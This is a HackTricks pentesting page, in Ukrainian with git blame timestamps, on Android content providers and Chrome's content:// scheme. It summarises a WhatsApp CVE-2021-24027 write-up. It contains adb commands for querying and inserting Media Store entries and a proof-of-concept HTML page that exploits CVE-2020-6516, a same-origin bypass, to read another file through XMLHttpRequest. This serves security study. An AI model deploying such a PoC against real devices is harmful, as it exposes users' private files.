hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md

111 lines
7.7 KiB
Markdown
Raw Normal View History

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
{% embed url="https://websec.nl/" %}
2021-05-04 11:44:49 +00:00
**Це резюме посту [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
### Перелік файлів у Media Store
Щоб перерахувати файли, які керуються Media Store, можна використовувати команду нижче:
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file
```
Для більш зручного для людини виводу, що відображає лише ідентифікатор та шлях до кожного проіндексованого файлу:
2021-05-04 11:44:49 +00:00
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
Контент-провайдери ізольовані у власному приватному просторі імен. Доступ до провайдера вимагає специфічного `content://` URI. Інформацію про шляхи доступу до провайдера можна отримати з маніфестів додатків або вихідного коду фреймворку Android.
2021-05-04 11:44:49 +00:00
### Доступ Chrome до контент-провайдерів
Chrome на Android може отримувати доступ до контент-провайдерів через схему `content://`, що дозволяє йому отримувати доступ до ресурсів, таких як фотографії або документи, експортовані сторонніми додатками. Щоб проілюструвати це, файл можна вставити в Media Store, а потім отримати до нього доступ через Chrome:
2021-05-04 11:44:49 +00:00
2024-03-29 18:49:46 +00:00
Вставте власний запис у Media Store:
2021-05-04 11:44:49 +00:00
```bash
2024-02-05 02:29:11 +00:00
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
2024-03-29 18:49:46 +00:00
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
2021-05-04 11:44:49 +00:00
```
Визначте ідентифікатор нововставленого файлу:
2021-05-04 11:44:49 +00:00
```bash
2024-02-05 02:29:11 +00:00
content query --uri content://media/external/file \
2024-03-29 18:49:46 +00:00
--projection _id,_data | grep test.txt
2024-02-05 02:29:11 +00:00
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
2021-05-04 11:44:49 +00:00
```
Файл можна переглянути в Chrome, використовуючи URL, побудований з ідентифікатора файлу.
2021-05-04 11:44:49 +00:00
Наприклад, щоб перерахувати файли, пов'язані з конкретним додатком:
2021-05-04 11:44:49 +00:00
```bash
2024-02-05 02:29:11 +00:00
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
2021-05-04 11:44:49 +00:00
```
### Chrome CVE-2020-6516: Обхід політики однакового походження
2021-05-04 11:44:49 +00:00
Політика _однакового походження_ (SOP) є протоколом безпеки в браузерах, який обмежує веб-сторінки у взаємодії з ресурсами з різних походжень, якщо це не дозволено явно політикою Cross-Origin-Resource-Sharing (CORS). Ця політика має на меті запобігти витоку інформації та підробці міжсайтових запитів. Chrome вважає `content://` локальною схемою, що передбачає більш суворі правила SOP, де кожен URL локальної схеми розглядається як окреме походження.
2021-05-04 11:44:49 +00:00
Однак CVE-2020-6516 була вразливістю в Chrome, яка дозволяла обійти правила SOP для ресурсів, завантажених через URL `content://`. Фактично, JavaScript-код з URL `content://` міг отримувати доступ до інших ресурсів, завантажених через URL `content://`, що становило значну загрозу безпеці, особливо на пристроях Android, що працюють на версіях раніше Android 10, де не було реалізовано обмежене зберігання.
2021-05-04 11:44:49 +00:00
Нижче наведено доказ концепції, який демонструє цю вразливість, де HTML-документ, після завантаження під **/sdcard** та додавання до Media Store, використовує `XMLHttpRequest` у своєму JavaScript для доступу та відображення вмісту іншого файлу в Media Store, обходячи правила SOP.
2021-05-04 11:44:49 +00:00
Proof-of-Concept HTML:
2024-02-05 02:29:11 +00:00
```xml
2021-05-04 11:44:49 +00:00
<html>
<head>
2024-03-29 18:49:46 +00:00
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
2021-05-04 11:44:49 +00:00
</head>
<body onload="poc()"></body>
</html>
```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
2022-04-28 16:01:33 +00:00
<summary>Підтримайте HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}